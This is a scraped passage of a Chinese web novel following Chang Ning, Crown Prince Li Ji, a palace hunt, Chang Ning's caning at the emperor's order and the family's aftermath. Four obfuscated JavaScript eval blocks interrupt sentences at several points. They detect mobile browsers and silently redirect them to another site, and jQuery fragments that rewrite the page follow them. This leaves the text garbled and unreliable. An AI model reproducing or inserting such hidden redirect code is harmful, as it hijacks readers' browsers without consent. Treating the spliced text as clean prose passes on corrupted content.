那眼睛依依不舍的，刘总管都看得出常宁没吃尽兴，早早揣摩了李稷的意思，正准备让常宁带些回去，却听李稷道：“刘总管，那车上还有一篓，你给常宁送回去。” 万岁爷可就分给殿下这么一篓。刘总管还想再劝，忽而想起李稷出宫时，特意将这一篓新赐的樱桃带上，还问了常宁的踪迹，连忙微笑应是。 常宁连连摆手：“不好。我在家不能吃，要挨训的。” 今儿一个二个的，都拿殿下的赏赐不当回事。刘总管几欲委婉提醒，又被李稷打断，“如此，倒不好勉强，你便每日到东宫来用些，也算折中之法。” 常宁其实想说，她偶尔吃一次解解馋就好，用不着每天都吃。但刘总管的目光太殷切，一直悄摸摸给她使眼色，常宁还以为有隐情，顺着应下了。 李稷： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307321|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “递来些。” 常宁双手捧了几颗樱桃，平递到他前面，求助地看向刘总管。 李稷似乎看入了神，一手持卷，一手执笔勾勒，并未注意到常宁。 刘总管无奈，伸指指向自己的嘴巴。 李稷一篓子樱桃都给她了，总不能一点事都不做吧？常宁认命地拈起一颗，发现刘总管放上来一把小刀，就顺道把果核也剔了，送到李稷唇边。 常宁感觉凉嗖嗖的。李稷根本就不看她，一直盯着书看，有时候碰到常宁手，常宁也不好意思叫停，起了一身鸡皮疙瘩。 等把这一盘都吃完了，常宁去净手回来，李稷还在看书。 常宁瞄了一眼：“殿下，这页好看吗？” 他好像看了很久。 李稷合上书，避而不答，“昔日汉高祖刘邦与韩信相谈，韩信自称比高祖更有统帅千军之能。” 他瞥向常宁。 常宁接道：“可他也说，他将的是兵，高祖却是将将之才。” 李稷罕见地露出个笑：“是了，退下吧。” 常宁真心觉得他今日古怪，叫她进来难道只是为了吃樱桃吗？考她学问也算不上，问的还都是常宁看过的书。 但出了门，江晚照期期艾艾地抱着金子要给常宁，常宁就没心思想这事儿了，“你留着娶媳妇，给我我可就花了。” 江晚照塞过来，看也不敢看常宁一眼，“给你。” 一路上，他少说提了三四次。常宁实在被公孙瑾吓怕了，生怕再拒绝下去，又造出一个公孙瑾来，遂应道：“我给你存着，你要用就找我拿。” 今日天和日暖，常宁送走江晚照，见草地上有不少人放风筝，也拿了一只风筝放，看那风筝飞得高高的，笑弯了眼。 线绷得太僵，常宁又走神逗小孩玩，一时没注意，让线断了去，追着风筝跑。 这只风筝图样新奇、色彩鲜明，常宁还挺喜欢的，见它卡在树桠上，绕着树转了一圈。 树干太直太粗，旁生的枝节也少，常宁爬不上去，正准备让小厮去弄把梯子，风筝却被石子弹到，自己飘飘然落下了。 常宁回头，也没看到帮她的高人。 8. 骑射 今日有围猎。 常宁一连几天神清气爽，到了猎场，却是愁眉苦脸。 学子们意气风发，两两围在一处。常宁倚在树干上，望着蓝天白云，唉声叹气。 她要等公孙瑾。 御马也可见人品。性情暴烈刚硬的，跑起马来也有威风劲儿，远远观之就觉与众不同，一看就能满载而归。似常宁这般懒散的，骑着马儿晃晃悠悠，赏景一样慢慢地走，看起来就不像能猎到猛兽的。 实则不然，常宁每次骑射，成绩都在第二。 第一是使劲往她马上抽鞭子的公孙瑾。 反正他还没来，常宁忧伤一会儿，就拿手指绕着鞭子玩。 公孙瑾着骑装，似乎与平时大不相同。他本来就冷酷，如今穿得有棱有角，更是气势逼人。 常宁不自觉矮下去一截：“你今天打我的马，能不能轻点？太快了我难受。而且你也伤着，不适合骑太快。” 公孙瑾一边骑马，一边还能分心追着常宁打马。常宁是真心委屈，她都快被马颠吐了。 没听到公孙瑾回话，常宁就知道没戏了，理理衣服，只等林教习一声令下，她就快些挑一匹温良的好马。 左等右等，还没等来教习，常宁不禁疑惑，林教习今日怕不是学了她，赖在床上不起了。 不过这位林教习踩着点到了，依旧是严辞正色、不苟言笑，只是少了些飞扬的神采，进了校场便恭谨侧身，迎出李稷。 李稷出行，到底是和他们不一样，身边不仅围着太监宫女，还有许多侍卫和太医随行。 他身旁还紧跟着几位兵部大臣，一行人微笑着上了高台，端坐上方看这群少年学子挥鞭打马。 刘总管讲了些话暖场子，学子们看到太子殿下过来，早就激动得脸都红了，期望一展风采。待看到高高挂在台上的彩头，更是心绪激荡。 待众人打过一回马，在校场上射了几次箭热身，兵部几位大人便提议让学子们进后山围猎。 他们许久未进过宫里碰骑射，李稷让他们也去后山转转。太监领着几位大人到选马选弓箭，宫人去取合适的骑装。如此一来，便只剩下李稷一人在台上坐着。 林教习询问：“殿下是否要入内一试？” 李稷颔首。 林教习继问：“可要挑一位学子随行？” “允了。” 众学子知道了，自是喜不自胜。 常宁转转眼珠，忙高高举手，让李稷看她。 公孙瑾冷眉冷目，斜眼看着云策几人递来的目光，纵马靠近常宁，冷不丁捉住常宁的手腕。 常宁讪讪，只好放下手，要挣脱却挣不开，讨价还价道：“那你可要对我好点，不许打我的马。” 公孙瑾黑着脸应了。 常宁心里乐开花，面上矜持地点点头，和公孙瑾转到校场边缘。校场这么多人，李稷本也不大可能选她。也就公孙瑾，再也遇不到她这么好脾气的人了，被他抽着马跑都不生气，这才被她唬住。 公孙瑾挡在常宁马前，李稷只能看到公孙瑾的背影，常宁被他遮得严严实实。 林教习思虑着公孙瑾和李稷相熟，兴许更可以与公孙瑾一道，遂叫来公孙瑾，被公孙瑾推说自个骑射太过激进婉拒了。他也觉得是这个理，总不能到时候公孙瑾一上头，一鞭子抽到李稷马上，那还得了？还是让温吞的常宁来，总不至于伤着李稷，也不至于让人无聊了。 常宁几次推拒都不得，不得不在公孙瑾冷冷的目光下走向李稷。 没人了吗？林教习怎么非要她来。 李稷淡淡看常宁一眼，翻身上马，一马当先，远远地就冲山林奔去，带起一阵尘土。 常宁追随他而去。 他和公孙瑾风格迥异。公孙瑾策马的狠辣，单是看着就知道。李稷却很淡然，看去只觉优雅从容，实则跟在他后面的常宁才知，她手都快挥断了，才没有追丢了他。 真要追丢了，林教习也要化身严先生，常宁连个自在地都没了，怕不是要被课业压垮。 好在猎了几头小鹿，李稷便停下了，常宁也能喘口气。 但确实走得太快，到了深林溪涧。 李稷将马系在树干上，常宁照做。常宁接到林教习的指示就是，李稷去哪儿她跟哪儿。 保证完成任务！ 李稷回头，就见常宁眼眸明亮，紧紧地盯着他瞧。 他纵马有多快，没人比他更清楚，常宁却也跟得上，还顺道猎了猎物，拿出去已经撑得起场子，就不打算继续猎了。 常宁脸颊在日光下融融的，笑唇笑眼，即使是李稷，也很难说上一句难看。 一见常宁，他便不由思考父皇放许多少年人进御书房的用意来。 这已经远远超出了伴读的规格，堪称一句小太学了。甚至因在皇宫授课，延请天下名师，不时有面圣之机，比太学还受人推崇。 耽于享乐的父皇，在这一点上却出奇坚持，从不为恩荫子弟广开后门。 如他胞弟李秩，年岁比他略小，在御书房中如鱼得水，若众星捧月。 但论起交友广泛、情感真挚深厚，亦不如常宁。 “殿下，您渴了吗？” 常宁被李稷看了一会儿，琢磨不透他的意思，但他微冷的眸光还是让常宁脊背发寒，迫切地想找些事情做，好分散李稷的注意力。 李稷颔首。 常宁解下腰间的水囊，从荷包里取出一只小小的琉璃杯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307322|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒水冲洗一番，盛了七分满，奉给李稷。 李稷接过，几欲挨在唇边时，猝然看向常宁，目中隐隐有幽光闪烁。 常宁询问：“怎么了吗，殿下？” 李稷摇头，将水倒在帕子上净手，望着常宁，“若是有事，可来东宫寻孤。” 回到校场，李稷看着分了彩头，带兵部几位大人讲了会儿话，就先行离去。 坤宁宫大宫女采云对刘总管福身，“总管，皇后娘娘在皇觉寺供奉了一枚平安符，如今已经享够高僧开化。娘娘今日精神不济，不能为殿下亲取，请殿下到皇觉寺取平安符，晚间到坤宁宫用膳。” 这平安符，皇后娘娘往日里向来是只为李秩殿下供奉的。 刘总管笑眯了眼：“咱家在这里，谢过采云姑娘了。” 李稷听闻，亦是心绪难平：“母后为孤供奉了平安符？” 刘总管忙不迭点头：“哎哟殿下，可不是嘛，娘娘还是念着您的，还请您到坤宁宫一并用晚膳呢。奴才这就去套车？” 李稷颔首。 从此处到皇觉寺，打个来回，着实一刻也耽搁不得。 采云还立在一侧，李稷问过母后的衣食起居，知晓皇后只是春日乏困，忧心稍平。 李稷招来小内侍：“吩咐常宁随行。” 常宁近日总念叨着皇觉寺平安扣。李稷平日不得闲，今日要去，便念起了常宁。 小内侍还没应是，采云便笑道：“殿下，娘娘说，求神拜佛，心诚为上。娘娘供奉这枚平安符时，从不假借他人，来时就叮嘱过奴婢，请殿下多带些侍卫护卫殿下，但莫要带大臣和伴读，以免坏了佛祖的恩赐。” 若放在以往，敢如此阻拦的宫人，必然是要受罚的。但采云是皇后的大宫女，又是通传皇后之言，于情于理，李稷都愿意给她几分面子。 “殿下，请从左辅道过。” …… 常宁回到校场，公孙瑾就不大爱理会人，倒是云策几个人来围着常宁，问和李稷一起骑马打猎是何等心情。 常宁也难以形容，拒不回答，拎起书袋就要出宫。 方才迈出宫门，便瞧见姜夫人立在宫门外，神色略带忧急。 常宁心里一咯噔。 若是她同窗的父母，还有可能是来接孩子回家。可姜夫人一向忙于打理家业，除了常宁第一次进御书房，后来就再也没有来过了。 必定是家中出了大事。 姜夫人掩下哀戚，嗓音尽量平静：“宁宁，你爹落水，伤到了脑袋，如今昏迷不醒。你到你姑母宫里，请你姑母拨个太医，好医治你爹。” 她也递了宫牌，往日里都能顺利入宫见到德妃娘娘，如今却久久不见内侍来通禀。 9. 求医 常宁安抚好姜夫人，匆匆往德妃宫里赶。 她时常进宫，又在御书房念书，比姜夫人进宫容易些。如今常宁也只是忧急父亲的伤势，一心面见姑母，请姑母拨个太医。 这实在是件稀松平常的事，但常宁没想到，姑母和李稚竟然都不在。 宫人也急：“常少爷，娘娘和公主殿下被陛下召入养心殿，如今正在用午膳。” 云策不放心，跟着常宁一起过来，闻言安慰道：“吃个饭，要不了多久，咱们就等一会儿。” 常宁摇头：“我怕我爹等不得。” 可养心殿又岂是外臣能擅入的？纵然常宁与陛下也算得上姻亲，可却无权叫陛下姑父的，虽得他几分欢喜，也知道不能贸然闯去的道理。 若是连累了姑母和李稚，更是雪上加霜。 云策焦灼：“那如何是好？我方才去问过太医署，不是我家的，太医院不拨人。这时节，想来只有殿下们才能调动人了。” 太阳不大，常宁额头却冒出一层薄汗，听得他这话，忽然想起李稷，“我们去东宫。” “常宁，你慢点！”云策还未见常宁跑这么快过，一时忧心，连质疑李稷是否会帮常宁都给忘了。 可到了东宫，又扑了个空。 宫人道：“常伴读，殿下自晨间出了东宫，便未再回来。您若有事，便说与奴婢听，待殿下回来，再禀报殿下。” 常宁冷汗涔涔。 父亲重伤，又求不到太医。偏今日又点背，平日里好使的法子，如今一个个都行不通。 …… 陛下已经许久未在养心殿召见德妃。 德妃膝下只有李稚一个女儿，活泼可爱，颇得德妃和皇帝欢心。 德妃抿唇，笑着看陛下考问李稚的功课，问她这些时日都做些什么、可还舒心，有无不称心之处。 单单是看着陛下与李稚，德妃便心满意足。她有李稚，太子又有才能，后宫又许多年都没有添过皇子，必然有陛下的默许，因而她也不打算争宠。左右有李稚在，陛下便不可能忘了她们母女。 她原以为只是简单用个午膳，不曾想陛下竟还命人摆上茶具。 庆和帝颇有些追忆：“朕与瑜娘，当初便是因茶结缘。仔细想来，也有十七个年头了。” 李稚睁大眼睛，以袖掩唇，拖长声音唔了一声。 德妃名常瑜，入宫多年，兄嫂都不敢再叫她名字，被庆和帝一叫，连带着忆起少女时期的柔情蜜意，神色愈发柔和，“臣妾再为陛下烹茶。” 庆和帝笑眯了眼：“求之不得。” 烹茶也是个细致活，着实风雅，除了考验人的功底，也要花上不少时间。德妃刚洗了茶水，观之赏心悦目，养心殿内其乐融融。 殿前柳公公抱着拂尘，“陛下，英国公府常宁求见。” 德妃动作不停，心内却一怔。常宁是个乖巧惹人爱的孩子，行事极有分寸，怎会贸贸然擅闯养心殿？ 她正要劝陛下几句，允了常宁的求见。 庆和帝远比她更快：“朕与爱妃追忆往昔，谁也不见，打发了去。到底是爱妃的侄儿，你们不得轻慢，且用心伺候着。” 向来心如止水的德妃，此时也不禁心中一暖，却也放心不下常宁，“陛下，臣妾也有些日子没见那孩子了，想念得紧，不如就让他来见上一见？” 庆和帝一手覆上德妃手背，“政事繁忙，你我与稚儿，不知多久才能如今日这般相对而坐。子侄再亲密，也是能常见的。” 德妃不再言语，继续烹茶。 却听到常宁的喊声。 兄长他……受了重伤？德妃动作一顿，面色凝重，手中茶匙一个不稳，溅起点点茶汤。 庆和帝揽住德妃肩膀，眸中含怒：“此子行止无状，竟敢在养心殿喧哗，惊着了爱妃。柳余庆，传下去，杖十！” 李稚惊呼：“父皇，表哥他只是一时心急……” “住口，”庆和帝色厉，“你母妃被惊着，你竟毫不关切，反倒为惊着你母妃的竖子开脱？即刻起，三日闭门不出，搬到你母妃殿里，侍奉你母妃。” “爱妃，”他垂眸看向德妃，摇头示意德妃勿要开口求情，“你惊着了，带稚儿回去歇着吧。” 德妃心里发寒，顶着他沉沉的目光，求他拨个太医给兄长治病。不提她与兄长感情深厚，她如今在宫里，也时常靠兄嫂接济，即使不靠陛下的宠爱，也能打点宫中关系，给李稚最新潮、最精致华贵的珍宝。 庆和帝眸光一冷：“爱妃不必再劝，朕自会派太医去往英国公府。然常宁目无尊纪，朕便代他父亲管教一二。” “龙禁尉何在？” 德妃已然绝望了，泪眼婆娑。此刻又焉能不知，庆和帝便是看她兄嫂和侄儿不顺。被宫人搀扶着离去时，德妃回头，还能瞧见龙禁尉令人心悸的背影。 这群心狠手辣之徒，不知要如何残害她的侄儿？ 庆和帝扫视一周，“常宁杖二十，公孙执刑。同在御书房，公孙已然可堪大任，无知小儿却还在无理喧闹。” 公孙瑾垂首：“谨遵圣命。” …… 常宁没见过多少人被打板子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307323|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宫女太监挨板子，会在避着外臣的地方。殿前处置臣子，还是打板子这样又疼又羞辱人的方式，常宁这么十来年，见过的次数，两只巴掌都数得过来。 还打在脊背上，声声入骨，常宁咬紧了手不痛出声，恍惚觉得，也许庆贺帝真是要她死。 可陛下曾经还指着她说“恨非吾家子”呢。父亲的伤势亦不知如何，可曾寻到了神医？依她如今受罚来看，只怕也牵连到了姑母和李稚。 常宁也不想哭的，可是真的很疼很疼。二十棒下来，她以后兴许就再也站不起来了。趴在长凳上，视线里朦朦胧胧，还能看到公孙瑾冷酷的皂靴。 她也不想被公孙瑾看着。 公孙瑾拳头紧攥，指甲深深陷入掌心，强迫自己看常宁。 陛下要施刑，他不能徇私。他敢徇私一分，陛下的刑便重上十分。只有按着陛下的意思，实打实地打完二十棒，才是对常宁最好的。 云策扑在常宁背上，“公孙瑾，你要打就打我好了，别打常宁。” 侍卫动作一停，看向公孙瑾。 公孙瑾冷冷道：“来人，给他也上刑。” 他隐约有些明了陛下的用意，可凭什么，他只能站在这里看着，云策却能护着常宁，能拿帕子给常宁擦眼泪，能哄着常宁让常宁不要害怕？ 他就成全他。 …… 坤宁宫里，皇后劝李秩，“你快去养心殿。” 李秩浑不在意：“不就是一个常宁，有什么好大动干戈的？先生可是说，常宁在书画上，只算跟得上我，连我厉害都没有。” 皇后平复怒气：“跟得上？常宁跟得上你，跟得上公孙，跟得上江晚照……哪一样他不是第二？且去看看，下面的第三拍马也难及你们。你当他常宁是个简单的？也不看你皇兄做什么日日召见他。 李秩有些不自在：“孩儿过去养心殿就行了吗？” 皇后颔首：“你父皇已经安排好了。你如今过去，常宁必定对你感恩在心。英国公府的富庶，你也知晓，往后都能为你所用。何况常宁性喜交游，知交遍天下，英国公府也积德行善。得常宁一人，胜得百人千人。你皇兄，母后也支开了。速去，赶在行刑结束前叫停，常宁只会对你感激更甚。” 李秩一笑：“孩儿谢过父皇母后。” “娘娘！”本该去往皇觉寺的大宫女，此刻竟神色灰暗地奔来，“太子殿下……到养心殿，已救下常少爷了。” “什么？”皇后咬牙切齿。 果真是个冤孽，连她精心为秩儿策划的都要抢，见不得她秩儿好一点。 10. 殿下 英国公府。 丈夫与孩儿都受了重伤，姜夫人急得大汗淋漓，一会儿在丈夫房里看太医把脉施针，一会儿到常宁院里看顾常宁。 李稷拨来太医后，也到了英国公府。姜夫人再是忧急，也只得压下，到花厅里招待李稷。 对李稷，姜夫人自然是感激不已，“臣妇多谢殿下相助。若有用得到臣妇之处，殿下尽管言明，臣妇定当竭力而为。” “夫人言重了，”李稷攥着茶盏，眸光望向四方，“常宁伤势如何？” 这位殿下言语平易近人，气势却沉着冷厉，龙子凤孙的贵气天然聚于眉尾眼梢，举手投足都有段气韵。姜夫人纵是长他许多岁数，也知皇家子嗣没个简单的，自然是恭敬而不失亲切道：“托殿下的福，宁宁只是血流得多了些，又打小经不得疼，这才昏了过去，大夫已看过了，并无大碍。” 说起常宁，姜夫人眉眼温柔，嗓音也如水一般，带着劫后余生的庆幸。 李稷定定看了一瞬，直教姜夫人心底发毛，这才转眸，“孤去看常宁。” 姜夫人笑道：“殿下，宁宁还昏着，背上血肉模糊的，恐惊着殿下。等宁宁好了，臣妇带上宁宁，到东宫拜见殿下。” “不必，”李稷断然否决，“顺路而已。” 姜夫人不敢再劝，领着李稷兜了个远路。嬷嬷见了，不消吩咐，便直奔常宁院里，帮着遮掩一二。 刚迈出不远，管事气喘吁吁跑来：“夫人，少爷醒了！”冷不丁瞧见李稷，慌忙跪下行礼。 姜夫人也难掩喜色。 张侍玉躺在房脊上，曲臂遮阳，眼帘微掀，恰对上缓步踏入院中的李稷。身子微翻，他人便顺势倒入另一侧斜瓦面，再不见踪影。 李稷压下眸中冷色，跨过门槛。姜夫人也要进，却被李稷的侍卫拦住，只好守在门外。 常宁只着一层雪白单衣，脸颊埋在臂弯里，趴在榻上一动不动。 在后妃的母族子侄里，父皇是最欢喜常宁的，今日却下了狠手，让人连床都下不了。初春依旧寒凉，常宁连锦被都踢了，想是脊背痛得厉害，盖被都疼。 李稷嗓音冷冽：“常宁。” 常宁闻言，抬起头来，颊上润凉一片，闷得通红，乌黑的眼睫上还挂着湿痕，惯常飞扬的眼眸也灰暗了，瞧见李稷的一瞬间，却迸射出莫大的亮光。 李稷欲开口，话还未出，便被常宁惊到，“伤还未好，起来作甚？” 常宁忍着疼，跪地行了一礼，“臣拜见殿下。殿下大恩大德，常宁没齿难忘。” 她还有许多话要说，却被李稷强硬地地捞起来，复又按在榻上，沉声道：“好生歇着，不许乱动。” 常宁眼中亮亮的，下巴搁在手背上，一笑却扯到了伤口，脸都皱巴了，还是美滋滋道：“殿下，您怎么过来了？是来看望臣吗？一定是吧？” 这双眼眸灿若星辰，相面而对，眼中满满地都盛着他。 李稷竟有些莫名的滋味，一错不错地看着常宁，咽下了母后与皇弟的事，鬼使神差地伸出手，在常宁发顶一揉，“是。” 他眼睑下垂，遮住眸中神色。 常宁看不分明，却还记得正事，巴巴地看着李稷，“谢谢殿下您救我父亲。殿下，您可知云策如何？他被我牵连着，也挨了几板子，想来也痛得很。” 李稷此刻却冷了几分。 云策扑护常宁的场景还历历在目，李稷只觉刺眼。他到得不巧，常宁的二十扳结结实实打完了，云策不过才挨了三两下。 不对。 李稷愕然。 常宁挂念旁人，干他何事？左右两人都是他的伴读，和和睦睦，岂不美哉？再者常宁想谁念谁，亦是常宁一人的事。 “不知，”李稷吐出这句话，见常宁被背上崩裂的伤口疼得歪眼撇嘴，不禁气闷，“好生养伤。” 姜夫人在门外守着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307324|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频频望向室内。李稷一出来，姜夫人便要随行相送，被李稷勒令停下了。 常宁见她娘进来，也顾不得疼了，“娘，别哭呀，我现在都接不住小珍珠了，呜呜。” “你这孩子，”姜夫人抹抹眼泪，瞧着常宁苍白着脸冲她笑的模样，心中又酸又软，“可别装这怪模样了，疼不疼？” 常宁抽抽鼻子，顺势卖可怜：“疼的，娘，可疼了，疼得我都写不了功课了。” 姜夫人一笑：“你想写也不给你写。今日起，也不要去御书房了。娘和你爹商量过了，明日上个折子，宁宁就好好待在家里，等你好了，娘再给你请先生念书。” 常宁不乐意：“我以后都不去御书房了吗？可是我的朋友们都在那里，我以后就难见他们了。” 姜夫人和丈夫，待常宁如珠似宝，哪里舍得常宁再往宫里去，“宁宁，娘只求你平平安安的，咱们一家人把日子过好，比什么都好。” 常宁唇角抿直了，别过脸，闷声道：“为他造园池宫林、为他献金石珠玉，我连颗樱桃都吃不得，他却整篓整篓地赏人。都说我是个散财败家儿，可我用出的家财，又岂有他之百一？凭什么我便去不得宫里。” “常宁！”姜夫人厉声喝止，惶惶四顾，未见有人窥视，轻柔地抚摸常宁脸颊，“宁宁，听娘的，娘不在意这些，娘只要你好好的。钱和权都沾上，离死也就不远了。” 陛下用便用，换常宁喜乐安宁，姜夫人也认了。 “娘，我不去了，”常宁见不得姜夫人伤心，转过头来笑道，“我等他们从御书房出来再找他们就是。” 大夫还在路上，姜夫人拨拨常宁发丝，摸到凉津津的冷汗，便知这是疼得厉害，一时缄默无言。 “娘，你哄哄我嘛，你哄哄我，我就不疼了，”常宁脑袋歪在姜夫人掌心，弯眸看姜夫人，“娘，等我好了，我要去看看云策。” 姜夫人笑道：“都依你。” 11. 琴师 翌日睁眼，常宁浑身难受，被炭盆曛得出了一层热汗，下意识便要撑床起身。这一动，却牵连到了脊背的伤，白着脸又趴下了。 明玉一直在外面守着，听到动静，倒了茶水过来，“少爷先用些水，今日夫人亲自下厨，给您煮了些清淡可口的饭菜。” 常宁捂着嘴笑：“我这是什么神仙日子呀！” 她娘忙得紧，每年只在常宁生辰时做一碗长寿面，更别提给常宁做早膳吃。何况如今不用早起、不用念书，更不用写功课，实在美哉。 明玉拿着汤匙喂常宁水喝。常宁一咽下去，不知怎么抽到了背，顿时疼得脸色煞白。 “少爷？可要叫大夫来？”明玉忧急。 “不用不用，大夫来了我还是痛，”常宁头歪在软枕上，视线越过床帐往外看去，忽然喜道，“明玉，今天天气真好！” 明玉顺着看去，果然见金光入室，窗台上的虞美人开得正好，火热的色泽，一片欣欣向荣。常宁的七彩琉璃漏窗，虽被姜夫人点评模样怪异又突兀，此刻被金乌光辉一照，却散发着莹莹的光，明玉也看笑了。 常宁倒想起一桩未尽的事，“明玉，我来说，你写下来，送到泰春坊承平巷公孙家去。” 自常宁从宫里回来，姜夫人便将常宁院里的丫鬟小厮遣出去了大半，以免人多坏了清净。连张侍玉，都被请到了离常宁不远不近的院子里。 书剑守在常宁院门口，每每有人路过，都要谨慎地比个“安静”的手势。因姜夫人吩咐，近日已经鲜少有人往这边来，但书剑还是眼睛睁得大大，死盯着周围。 一眨眼的功夫，面前就掠过一抹黑影，书剑险些惊呼出声，幸而抬头瞧见是张侍玉，可算松了口气，“公子止步，夫人有吩咐，少爷近来不见人。” 这人却不听，在书剑面前一晃，身轻如燕地跃过了墙头，飘飘然去寻常宁，急得书剑匆匆跟进去，“停下！” 彼时常宁正舒服地吃着明月喂来的粥，听到这动静，举目望了一眼，“好了书剑，让他进来。” 粥还剩一些，明月依旧喂着，被张侍玉眼光一扫，手腕略晃了晃，粥洒了些。 张侍玉一进来就站在窗下，挡了常宁的光，还吓着了明月。常宁不满：“你别吓着人。” 这神气冲天的模样，和昨夜睡梦中都哭着喊疼的，哪里是一个人。 张侍玉抱臂冷哼一声，将两粒药丸拍在案上，只看过常宁一眼，便又翻墙离去。 …… 李稷在蒲团上跪了一夜，膝盖青紫溢血，又撑着上了早朝，面色亦不大好。 御医开了化瘀安神的汤药，典膳丞煎了，奉上一碗黑乎乎的苦药汁子，又仔细着涂了膏药。 太子宾客方俞周嗅着苦涩的药味，面上再恭谨，心下也止不住叹了口气。等李稷一口闷下，方俞周道：“殿下，昨日推英国公落水的，正是英国公远房叔父、常伴读的叔公，见英国公昏迷不醒，已自投荷花池，死无对证。余下的，并未查出。” 然常宁这位叔公，着实没有谋害英国公的理由。且英国公年轻时也是个文武全才，又善凫水，这位叔公却已老迈，断无可能如此轻易便得手。 李稷屈指点上书案：“莫再查了。” 方俞周心神一松：“是。” 昨夜皇后娘娘罚殿下跪了一夜……方俞周每念及此，便一个激灵。再查下去，恐怕要牵扯到殿下家事。 李稷道：“派几个人，盯着英国公府。若有刺客，格杀勿论。” 方俞周为刑部侍郎，兼任太子宾客，稍一思索便明悟过来，当下便有了安排，“殿下千金之躯，万望爱惜自身。您系兆民之心，承宗庙之重，切勿以身犯险。” 殿下纯孝，中宫娘娘却更偏爱幼子，东宫诸臣僚心跟明镜似的。只是这位娘娘实在荒唐，竟扯了个四不像的由头，罚殿下跪了整整一夜，未免太轻视殿下，也太瞧不起他们东宫诸臣。 他们这班人马，虽是陛下病重临时而设，后来陛下病愈，又裁去许多，可却不是吃素的。庆和帝当时是真以为自己要龙驭宾天，恐江山不稳、主少国疑，留给少主的臣工，自是精心遴选。 太傅惊闻此事，连夜写奏折弹劾皇三子李秩，道其目视母、兄争执而不劝解，反嬉笑安枕，疏于孝悌之道，骂得不脏，但足矣让皇三子禁足数日。更重要的是，皇三子面上无光，声名有损。 打皇三子的脸，远比弹劾皇后娘娘更轻松、更有杀伤力。若非皇三子与殿下为一母所出，恐伤及殿下，他们又哪里愿意轻轻揭过。 碧玉药瓶被李稷攥在手心，凉津津的触感，一如昨日扶常宁时，沁凉的肌骨，“孤知了。” 方俞周深望着李稷，拱手告退。 殿下少有贤名，哪怕近来中宫偏爱幼子、帝心渐弛，却愈发纯孝清正，入朝听政后，又颇有才能。 而他们这些臣子，数年前被庆和帝托孤时何等的风光，如今又遭受陛下何等疏远？太子顺利登基，他们才能往上爬，否则便要蹉跎一辈子了。 谁都不能动摇殿下的地位。 …… 一个多月下来，姜夫人已经允许常宁出门了。 但常宁只是能下地走动，依旧不能跑跑跳跳。 出门的第一天，常宁就直奔云府，侯在云府等云策从御书房下值。 直到天擦黑，常宁也没见云策回来，反而见了云策的长随给家里报信。常宁本欲归家，却见那长随又古怪地出来了，形色颇有些匆忙。 常宁截了人：“青杏，你家少爷去哪儿了？” 青杏头皮发麻，侧目良久，念起他家少爷整日里惦记着常宁，一咬牙道：“常少爷，您跟小的来。” 红袖招嘛，张灯结彩的，一片喜乐，常宁当下就要抬步进去。 明玉忙拉住常宁手腕，抿唇摇头：“少爷，夫人不让去。” 常宁闻到阵阵香气，对面的姑娘们婀娜美丽，还有几个俊秀的小倌立在人后往外瞧，遂笑道：“明玉，我只是进去叫云策，你别怕，我一会儿就出来，你在这儿等我。你别进来啊，在这儿等我就成。” 留了几个侍卫和明玉作伴，常宁披了件小披风，拉上兜帽遮住头发，又带了一个侍卫，让青杏带路，噔噔噔往楼上去。 一路香风笑语，常宁心神俱欢。 小倌多俊秀，面对常宁倚门而笑，举手投足间自有风情。常宁一时都看呆了，人走了过去，还歪着头看人家。直到小倌举帕掩唇，嗲嗲地叫常宁“哥哥来玩呀”，常宁才恍然惊醒，闹了个大红脸，提起衣摆埋头赶路。 几个凶神恶煞的汉子堵着个抱琴青年，秦寿缓带轻裘，微抬了折扇遮住下颌，冷冷道：“卞玉，你不要敬酒不吃吃罚酒。你以为你还是家里的公子哥？呵，要不是少爷我，你早不知被流放到哪个犄角旮旯了，哪里还能锦衣玉食的？现在，进去。” 大汉围了一圈，常宁看不到里头的人，亦不知秦寿说的“进去”是什么意思，只依稀见着个孤傲的轮廓。等她走得近了些，倒是瞧见个面覆寒霜的玉面公子，素衣白玉簪，不饰一物，指骨攥在琴上，常宁几乎能听到切齿声。 